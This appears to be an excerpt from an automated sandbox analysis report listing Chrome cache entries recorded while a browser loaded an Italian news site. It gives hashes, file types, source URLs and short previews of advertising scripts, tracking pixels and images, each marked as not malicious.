File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 617

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	low
URL:	https://widgetmonitor.outbrain.com/WidgetErrorMonitor/api/report?name=obm-MCDPRetriesError&version=2010731&message=Failed%20to%20fetch%2C%20url%3A%20https%3A%2F%2Fmcdp-chidc2.outbrain.com%2Fl%3Ftoken%3D2a6f7366e72a2d3d7989e40a31be5c47_30351_1711615904525_1%26tm%3D22567%26eT%3D0%26widgetWidth%3D696%26widgetHeight%3D34%26widgetX%3D98%26widgetY%3D2607%26wRV%3D2010731%26pVis%3D0%26lsd%3D605efeb6-d03d-4c86-b581-346f2597a6eb%26eIdx%3D%26cheq%3D0%26rtt%3D22065%26oo%3Dfalse%26lo%3D27464%26obreq%3D26012%26mvreq%3D27788%26mvres%3D49852%26cet%3D3g%26to%3D1711615856221%26ll%3D0%26chs%3D1%26ab%3D0%26wl%3D0%26retries%3D1%20%2C%20retries%3A1&env=2&url=https%3A%2F%2Fbsnews.it%2F&referrer=&agent=mozilla%2F5.0%20(windows%20nt%2010.0%3B%20win64%3B%20x64)%20applewebkit%2F537.36%20(khtml%2C%20like%20gecko)%20chrome%2F117.0.0.0%20safari%2F537.36&stack=undefined&errorEleUrl=&pId=30351&sId=6726620&dId=2109477748&ren=1
Preview:	{}

Chrome Cache Entry: 618

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 619

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2041)
Category:	downloaded
Size (bytes):	6450
Entropy (8bit):	4.952157933742652
Encrypted:	false
SSDEEP:	192:R3elHi1d2/yfuvO+CMaim3+ZdRUEpCqr28h1k:Rr1UauhWi5fJh6
MD5:	179966872DE1E2B57ADF138D22214B31
SHA1:	1007D9A5F5EB7BA20587DBBAE6EB2F73B6342281
SHA-256:	6E1450B21A6F1B2807726EBBEADBAF68BAFBBF406C15209E5D903F17C9A262B7
SHA-512:	4F39222FEFCB3119853C0A85CF0216982775E6E524F47215400E6A928BA48AD27A2EFCB0D55A6AB5701B1A24C628F9691AFA444E2B6A83768F5F7F20EA6F0E6C
Malicious:	false
Reputation:	low
URL:	https://csync.smilewanted.com/?gdpr=0&gdpr_consent=
Preview:	<script>.(function(){.. function docReady(fn) {. if(document.readyState === "complete" \|\| document.readyState === "interactive"){. setTimeout(fn, 1);. }else{. document.addEventListener("DOMContentLoaded", fn);. }. }.. function getSearchParameters() {. var prmstr = window.location.search.substr(1);. return prmstr != null && prmstr != "" ? transformToAssocArray(prmstr) : {};. }.. function loadAsyncScript(src, callback){. var script = document.createElement('script');. script.src = src;. script.type = 'text/javascript';. script.async = true;. if(callback != null){. if (script.readyState) { // IE, incl. IE9. script.onreadystatechange = function() {. if (script.readyState == "loaded" \|\| script.readyState == "complete") {. script.onreadystatechange = null;. callback();. }.

Chrome Cache Entry: 620

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	8050
Entropy (8bit):	7.9711561730607245
Encrypted:	false
SSDEEP:	192:+9xDnpVLNjYGoG7icuKQ5Wo4t2bvlL3e2ECesEQLhFrUFgfLi0Wyc:+7pVCrG+aMJeuagfL3c
MD5:	98B1FB11861D8EABA0C64A488A5C7D37
SHA1:	B47B66808603E79EDA7D5486251482315F201CFE
SHA-256:	CB4D6B819760819013E9C2AC87C02473B4A53A919BF9DC68F9ECE22D0E229486
SHA-512:	E417DC82FA9D424AB82A9B6CB9AB545D35578B50DBF14F2A9F41E0803640364EFD1C182553D8C174F7E925B78707A18BC9FC8887593ECE0FB62B28BFA56B4303
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2017/11/galleriaGardesana.jpg?resize=324%2C160&ssl=1
Preview:	RIFFj...WEBPVP8 ^...p....D...>m0.G$"..-P.....gm.....4. ..%7.s........r/.......J.H.....c...B.[...w.~_._.s..@_(?.......9:..MF....~:e..j.c.t.N..GG..........z.7.i\|9p.2.ha..4.........n`..;.N..1y..A.w....p.2..D..[qN.U....Q;.qU...... ..i.....?.3.@.... .X....fV..t..5.A..\..%1h...I$..WN... (..QA....9i..}Q"e.<....S7[....~].5.N..Z.....W...;JT.....c...x.jW.\|v.."...E....,.wG..."g.6.....Y.S..Q../..\|$u....Jo..^.6xj....Lc.yRZ..........H......P-F...v..x..s...BC.`.Q.@...<..G...[_.......+......s...c..N...sS.8.< ...=J....]...^.%..(H..G....Z7.s..n5........'.E...uM.W.;.T.r..[....q.:..I.W. L..5<:;:.B..k.dOi..i.....q.Uv{.3.4.l...+4&..& ..F......H.=.Gw..4.t.DX\|K....5.i...v=.K5{N....A.....=..]k0k..4.B.v..Y....u......:..Qv=.f..\.Q..h.Q...#.Lf%.r.(.^ ?.<nX[p..{=sT...K...gv..5..=.Ba..R........I........a.`..+..).....yYKz;.....5.e5m.V6.8m...X.0.V^K......M.......kh.*07....p.......x.=...#...g9..a...k.....w.1....A))......w@.Z.c.i.h...&Q.T......6^..\|.}....

Chrome Cache Entry: 621

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (31061), with LF, NEL line terminators
Category:	downloaded
Size (bytes):	55092
Entropy (8bit):	5.295786539632903
Encrypted:	false
SSDEEP:	1536:XFbSKxfqPPkqR3KQXd+2KundjO43OeqiZEL6RZe7:VuqPBM3OD7
MD5:	42030B0BDFFEC6A0E52EED3CA3229DD3
SHA1:	FF8CC8D1EC900A9F7135C7A361810549C40406B1
SHA-256:	43F804D38A294C6DF1CE8EE64FB95AD0FF5A8D6D5685D9537DF02212668A1DFF
SHA-512:	5B97FF7174BC06198BE133CE87F98AEF38F7FF66923D4DAE27054066BC4231B216F282310D5162AB06BE904EFE99479AB70B26E68943999B514533BCD6A42498
Malicious:	false
Reputation:	low
URL:	https://secure.cdn.fastclick.net/js/pubcid/latest/pubcid.min.js
Preview:	/!. pubcid.js 2.0.5 - https://github.com/prebid/Shared-id-v2/. * SPDX-License-Identifier: Apache-2.0. */!function(t){var e={};function n(r){if(e[r])return e[r].exports;var o=e[r]={i:r,l:!1,exports:{}};return t[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var o in t)n.d(r,o,function(e){return t[e]}.bind(null,o));return r},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)}

Chrome Cache Entry: 622

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (39827), with no line terminators
Category:	downloaded
Size (bytes):	39827
Entropy (8bit):	5.426881544196986
Encrypted:	false
SSDEEP:	384:D4mbcNLkkKhS/KQ6Nb5mqfAubZB2JjP2F6EUnW5O7WIDXrD+9PM5C9bDuwGGXo0+:DTbAKrL7fAovYr17WIDXngc+pHgQTC
MD5:	21F8671135AFBD2E874C42D3DC478AFA
SHA1:	FBBE938AEBBAF60E3B8388721A41905B36681E60
SHA-256:	F6CD320C5BA515FEF3997AFE473332231160A2CB715F1A99679A7CEFA1CF0BE0
SHA-512:	830FB51CC3DDE68BD79A3961E6F5C2D435A966CE552FBE683A45AC29F20F8EB7C6F048DEF36E590E851A672DA740BD8F7BDA573CE9E65B37F0DD6D59D8CA5F53
Malicious:	false
Reputation:	low
URL:	https://tags.crwdcntrl.net/lt/c/16589/sync.min.js
Preview:	var lotameIsCompatible = function() { return ( typeof Object.keys !== 'undefined' && typeof window.postMessage !== 'undefined' && typeof XMLHttpRequest !== 'undefined' && typeof(new XMLHttpRequest().withCredentials) !== 'undefined' && typeof console !== 'undefined' && typeof console.log !== 'undefined' && typeof document.createElement !== 'undefined' ); }; if(!lotameIsCompatible()){ if(console && console.error){ console.error('Lotame: This browser does not meet the minimum requirements.'); } } else { function sync16589_a(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}function sync16589_b(a){var b="undefined"!=typeof Symbol&&Symbol.iterator&&a[Symbol.iterator];return b?b.call(a):{next:sync16589_a(a)}}var sync16589_aa="function"==typeof Object.create?Object.create:function(a){function b(){}b.prototype=a;return new b},sync16589_c; if("function"==typeof Object.setPrototypeOf)sync16589_c=Object.setPrototypeOf;else{var sync16589_d;a:{var sync16589_ba={Sa:!0}

Chrome Cache Entry: 623

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (50668)
Category:	downloaded
Size (bytes):	116047
Entropy (8bit):	5.398990176708188
Encrypted:	false
SSDEEP:	1536:Ax0/LUuSNbQhM53vhQjim0TP0R6lcvCjJH70B+F30/7k8K53FsOY375wZXZ3yiS:MaUuSNDq0TP0j6dm+XvFsOYL5X
MD5:	CA69A6EAD238691D1CDC06C70570BE06
SHA1:	3B3725740A242FF0C630E260F3328BF411A5DB0C
SHA-256:	5DB6F0B5D9B6C27F23CFDF46576028D79862F0757482D7F86A923067CA5995BC
SHA-512:	FF3AAAA0F32FB2DB497A2EF7593EC45A1FAE280C6F5ACDB0E92E1C85387140BECF7C2012C755E5E373957F417315B325C50CE34537314A6BB2AF5EE2A75C5C8E
Malicious:	false
Reputation:	low
URL:	https://js.gumgum.com/gumgum.js
Preview:	/** @preserve Copyright GumGum (c) 2024 @ 3.88.26 /.!function(){"use strict";var t=window,e=document,n="gumgum.com",r="https://",a="".concat(r).concat(n),i="".concat(r,"g2.").concat(n),o="".concat(r,"js.").concat(n),c="".concat(r,"c.").concat(n),s="".concat(r,"aba.").concat(n),l=1,u=2,d=3,p=4,f=5,h="".concat(c,"/ads/com/gumgum/gumgum-info-2.1.7.html"),g={mfs:!1,mw:570,mh:570,mcs:{margin:40}},m="margin:0;padding:0;position:static;outline:0;background:transparent none;border:none;overflow:visible;visibility:visible;filter:alpha(opacity=100);opacity:1;box-sizing:content-box;-moz-box-sizing:content-box;text-decoration:none;font:normal 12px/1 arial;text-shadow:none;box-shadow:none;color:#000;text-align:left;vertical-align:top;float:none;max-width:none;max-height:none",v=/_CLEARCSS_/gi,b='(function(win,doc,G,env,undef){try{{:js:}}catch(err){GUMGUM.log("Custom JS", err)}}(window,window.document,window.GUMGUM,"{:env:}"))',y="gumgum",w=/GGUID/gi,A=/<style ggexternal>([\w\W]?)<\/style>/gm,_={A

Chrome Cache Entry: 624

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://u-iad04.e-planning.net/um?dc=99e41df815fd80b4&fi=b908337b94350305&uid=ZgUvi9HM46UAADq7ABhzMwAA%262753
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 625

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2087
Entropy (8bit):	5.2471389909863335
Encrypted:	false
SSDEEP:	48:ivYvFDqX84pig8riY1mPahvhXcAFgpB5EFIVHuxuNz/0AAPNkK:sYdDqs4HYLhX/gLnQf
MD5:	5486C27E8D16BE0F2123A33B9DAF8793
SHA1:	E83C6F573A78A503E09ED61D72D975C1E8854DF0
SHA-256:	040580E5E63CB2B9AAC89F405BCBD577FC1044D50C152169F418C5151955D720
SHA-512:	4C298FCC7E707BF9B6214505D27CE6D2EA57F563383BBD1EE62BD9E3F4E88C15707ABB22FFC9E54649DED4C142CF4C6530AC2D822FA49370213D7AAD94A0150E
Malicious:	false
Reputation:	low
URL:	https://js.tncid.app/06_pubmatic.js
Preview:	(function (sn, asap) {...var tnc = this && this.addTPScript ? this : window[(document.querySelector('script#tnc_core') \|\| {}).global \|\| '__tnc'];...tnc && tnc.addTPScript ? tnc.addTPScript(sn, async function(){....try {.....var _this = this......, tncid = this.tncid \|\| ''......, eid = this.eid \|\| ''......, vendorId = '22ddc501-2405-4124-96a6-b12c2f0afda9'......, tpIDPlaceholder = '#PM_USER_ID'......, tncendpoint = `https://im.tncid.app/gif?eid=${eid}&tncid=${tncid}&3puuid=${tpIDPlaceholder}&3pid=${vendorId}`......, vendorendpoint = `https://image6.pubmatic.com/AdServer/UCookieSetPug?gdpr=1&rd=${encodeURIComponent(tncendpoint)}&gdpr_consent=`......, options = {.......height: 0,.......width: 0,.......tabindex: -1,.......'aria-hidden': true,.......style: 'position:absolute!important;top:0px!important;left:0px!important;width:0!important;height:0!important;border:0!important;'......}, body = document.querySelector('body')......// verifica se pubmatic deve essere erogato una volta al giorno

Chrome Cache Entry: 626

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	120259
Entropy (8bit):	4.975647542232394
Encrypted:	false
SSDEEP:	768:GMn9U/5kr/6hJxPOdVzBCp6QRadnqkTDBZ:GMw5kqOdV9A6QRITBZ
MD5:	63CD873208DCDCA4B9629FD6DFF60DCB
SHA1:	76F9C0E7A3BEE3A3249248AE0BFD93798F81D2D7
SHA-256:	36A8745DD440C6712196A5487A844039778D3DAB61CEEEC13BA1E2DC06859AC4
SHA-512:	BB52D5988917B8FD26BE2A7A6234475D3A669993F39D3C1613F24AF91AA9126D4F2FA5A21755256B271B29FA5074DECADED220628B9B311344FE10D7A1EDF710
Malicious:	false
Reputation:	low
URL:	https://cdn.codesour.com/codesour/css/sourstyle.prod.css
Preview:	.sour-placeholder{position:relative;text-align:center;width:100%;min-height:90px;background:url(//cdn.codesour.com/codesour/assets/codesour-logo.png) 50% center/40px no-repeat rgba(200,200,200,.2);margin-bottom:2px;margin-left:auto;margin-right:auto;-webkit-transition:background-color .5s ease-in;-moz-transition:background-color .5s ease-in;transition:background-color .5s ease-in}.sour-placeholder[sour-width="1"]{width:1px !important}.sour-placeholder[sour-height="1"]{min-height:19px !important}.sour-placeholder[sour-width="2"]{width:2px !important}.sour-placeholder[sour-height="2"]{min-height:20px !important}.sour-placeholder[sour-width="3"]{width:3px !important}.sour-placeholder[sour-height="3"]{min-height:21px !important}.sour-placeholder[sour-width="4"]{width:4px !important}.sour-placeholder[sour-height="4"]{min-height:22px !important}.sour-placeholder[sour-width="5"]{width:5px !important}.sour-placeholder[sour-height="5"]{min-height:23px !important}.sour-placeholder[sour-width="6"

Chrome Cache Entry: 627

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 234x90, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	8574
Entropy (8bit):	7.977473495108371
Encrypted:	false
SSDEEP:	192:MoGTFyyvbHs9r7hghXFTMvBoPYy6CKfoUW4pqTYWlg6o:MbIyz64FMJCYy6C+LWfG6o
MD5:	ACD1C398C33A42AAF9C0674DCDC227F0
SHA1:	D2CDB8BC38857ABC43B47DA6CCDAC0A0D437769F
SHA-256:	BED624101DDAF3314FFAFDDDB4D235928EDAC324B678EFC1B442D4D08E737209
SHA-512:	EE1AC147730285870195CB4AD3A3A6601AFEFBA0500DD491F6CA0D516F3D4C067944AB8E256111863784FE969FCDEC954D67D48B3D5955367C1556F50B15AC73
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2019/11/banner-cucina.jpg?resize=234%2C90&ssl=1
Preview:	RIFFv!..WEBPVP8 j!..pb.....Z.>m(.E."...>T@...Ya...._c.!....V..g.......z7zh...c...k........B>.........?.\|......^._.w../1.....7.o.._t.....E....A}.......v....................o.os.......c......k?........?......}.+.k...../._......a...O...?.?......w..g..W.....b.q...4.q...c;..9wD.C.....j\|?C.Q...??.S.I...)..L.6.IgU.^.{s....F6m..E.....0..J../.V....k.b ....jL...v.Btp9....`Mw8..h...3{..,-.I....B..k.i.(>0......d...@.2.^.Y..+.6.....b/K.p...CrW.=..F2.S......`>......P.......Od...!.Y;mu.T......g......_..\|.7 .zs4...O..?....%..'.sxA. ...N......8..\|.......\|AL.j..\..?..1...B...u..1..D.g5.o.z.@...Ce....,My..2......._.()....`.I\|./.U..k........y.=fl..@A..5l.]....fp<r.O}M.J!.Xh.HMUP.\.\|..(K2,..P...cI.....b.4b.:...\|......\.6.;...i....Lh)e..S..........j.x...d.^.....1. ..>4..X5Le......6.hq.m..Z.E.E..b...N`....j.H..w.V..\.c.d..j..R...=h.9..p..(.....O....u.S....H."H.%..D~5c.RM~.iHH...T.....T.+.t.S.o.....%z'....+.~G..f.{.\W._.....F....t.A*y.a.P~.........)...

Chrome Cache Entry: 628

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://pixel.mathtag.com/misc/img?mop_seq=0:1&mt_cb=363302&mop_top=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 629

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	low
URL:	https://mcdp-chidc2.outbrain.com/l?token=2a6f7366e72a2d3d7989e40a31be5c47_30351_1711615904525_1&tm=22567&eT=0&widgetWidth=696&widgetHeight=34&widgetX=98&widgetY=2607&wRV=2010731&pVis=0&lsd=605efeb6-d03d-4c86-b581-346f2597a6eb&eIdx=&cheq=0&rtt=22065&oo=false&lo=27464&obreq=26012&mvreq=27788&mvres=49852&cet=3g&to=1711615856221&ll=0&chs=1&ab=0&wl=0&retries=1
Preview:	ok

Chrome Cache Entry: 630

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	430673
Entropy (8bit):	5.531676331671189
Encrypted:	false
SSDEEP:	3072:T0X5vLdLXsnBLd+SE/7FmWG/cVMf+tLIs71X4JzEka1jFJLh:a6yD/7FmWZVMf+tssxSEbNF3
MD5:	40ACFC519207807FAC86C829E1D386AE
SHA1:	27DF4C88A87B41339A33091AE6B7809B59F30E2C
SHA-256:	552DEF169409CF0BAD0AE1B3AC46671B0D5980F121BDDD658A7359EADBD6D17F
SHA-512:	37458413F94313E7E873E7D7283275F791B55C65D4D1443A433FEC50DBF7563102C65EA4E9B1A82C93ECCDAB1157D944CFDC0B79C10174EB82160663D87C8156
Malicious:	false
Reputation:	low
URL:	https://monetize-static.viralize.tv/viralize_player.min.40acfc51.js
Preview:	!function(i){var n={};function r(t){var e;return(n[t]\|\|(e=n[t]={i:t,l:!1,exports:{}},i[t].call(e.exports,e,e.exports,r),e.l=!0,e)).exports}r.m=i,r.c=n,r.d=function(t,e,i){r.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:i})},r.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var i=Object.create(null);if(r.r(i),Object.defineProperty(i,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var n in e)r.d(i,n,function(t){return e[t]}.bind(null,n));return i},r.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return r.d(e,"a",e),e},r.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},r.p="",r(r.s=293)}([function(t,e,i){"use strict";function l(t){return(l="function"==typeof Symbol&&"symbol"==typeof Symbol.

Chrome Cache Entry: 631

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	"https://pagead2.googlesyndication.com/pcs/activeview?xai=AKAOjsuXYX_3s0kuwutW5liAk8lP29-kM7zurpdwSiBO4rGzCtuqi8oNzm9S8mGspDo7VWjRXH1O5LNtuMKBG4umy4TP7JpXUnm-zuBnjtcPAx110C3W5Q9PdqQyH6rqWKAt8vV81lxiY2U&sig=Cg0ArKJSzMXngzN_SSI1EAE&id=lidartos&mcvt=4723&p=817,267,907,995&mtos=4723,4723,4723,4723,4723&tos=4723,0,0,0,0&v=20240325&bin=7&avms=nio&bs=0,0&mc=1&if=1&vu=1&app=0&itpl=20&adk=3616936076&rs=4&la=0&cr=0&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0%3D&vs=4&r=b&co=754869601&rst=1711615895925&rpt=4843&isd=0&lsd=0&ec=1&met=mue&wmsd=0&pbe=0&vae=0&spb=0&sfl=0&ffslot=0&reach=8&io2=0"
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 632

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (388)
Category:	downloaded
Size (bytes):	1616
Entropy (8bit):	5.254178990101817
Encrypted:	false
SSDEEP:	24:2Y2C7Iuib23BqSOLIH8Bujb2a2H8/uib2EKu32H8/ujb2B2H8/uib2fgtIH86:RJ3BIEuRNEgGoNf4E3
MD5:	7074D3B27B0637E3DBEC33B64737C5E8
SHA1:	8EFEC27F0984719202FF78DC6791F674634A34B5
SHA-256:	6E672F6252A17491C478549D19E9C5986ECAFA927A665FF96C3E2198AD2C64D6
SHA-512:	B9FE04E0FC3F3B5E96864E8339AC542FB425193333297B03A90D9E0AE35027CA5CF30F83C923FE9DAEF05E8DFF64F067229175273858514BA45C2AEA5762E735
Malicious:	false
Reputation:	low
URL:	https://loadus.exelator.com/load/?p=233&g=001&j=d
Preview:	https://cms.analytics.yahoo.com/cms?partner_id=EXETE.var xl8img = document.createElement('img'); xl8img.referrerPolicy='no-referrer'; xl8img.width='1'; xl8img.alt='ExelateData'; xl8img.style='display:none'; xl8img.src='https://cm.g.doubleclick.net/pixel?google_nid=exelate&google_hm=ODVjYzhjYTkwZWU0YTZhMjZhNjQ2ZGM5NDJmNDVhZTE&&google_redir=https://load.exelator.com/load/?p=204&g=109'; xl8img.height='1'; document.body.appendChild(xl8img);..var xl8img = document.createElement('img'); xl8img.width='1'; xl8img.alt='ExelateData'; xl8img.style='display:none'; xl8img.src='https://idsync.rlcdn.com/397416.gif?partner_uid=85cc8ca90ee4a6a26a646dc942f45ae1'; xl8img.height='1'; document.body.appendChild(xl8img);.var xl8img = document.createElement('img'); xl8img.referrerPolicy='no-referrer'; xl8img.width='1'; xl8img.alt='ExelateData'; xl8img.style='display:none'; xl8img.src='https://s.amazon-adsystem.com/dcm?pid=7be11c9c-3fd1-4409-a016-f23294a75c34&id=85cc8ca90ee4a6a26a646dc942f45ae1'; xl8img.hei

Chrome Cache Entry: 633

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (692), with no line terminators
Category:	downloaded
Size (bytes):	692
Entropy (8bit):	5.424673665242702
Encrypted:	false
SSDEEP:	12:C3LTm9wyzHc413iRArBHc413TGxz6LkBHca313Z2MUmQBHc4PkDp:CO+yzN1OaBN1DG9bBP1JTrQBNKp
MD5:	F26776F8B78E7B553B7A5057697F4A57
SHA1:	F49806946CE4CA7772D124D0166D051D0872D068
SHA-256:	5EB0457277FF793DD63C4D1BC8CBAFF973AA9937B62F9F070B3C62FB09E65BC6
SHA-512:	2BEA5031AA11C9FECD0A992786B4C4F4A9C675317FFD5385B5E0720FC3F90C8E765AA2A14D68DD25A0F4C0BCC7870BCA29EA461E36219F3B9CFF935342E362D3
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=27835633&p=156011&s=165626&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=
